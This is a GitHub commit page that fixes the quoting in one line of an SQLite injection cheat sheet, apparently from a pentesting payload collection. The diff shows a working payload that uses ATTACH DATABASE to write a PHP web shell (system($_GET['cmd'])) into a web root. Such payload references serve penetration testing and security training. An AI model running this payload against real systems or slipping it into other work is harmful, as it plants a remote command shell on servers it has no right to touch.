Skip to content

Commit

Permalink
Single quotes are messing with the command.
Browse files Browse the repository at this point in the history
  • Loading branch information
PinkDraconian authored May 15, 2022
1 parent 4cf464c commit 5cc8e69
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion SQL Injection/SQLite Injection.md
Original file line number Diff line number Diff line change
Expand Up @@ -82,7 +82,7 @@ AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
```sql
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?php system($_GET['cmd']); ?>');--
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
```

## Remote Command Execution using SQLite command - Load_extension
Expand Down

0 comments on commit 5cc8e69

Please sign in to comment.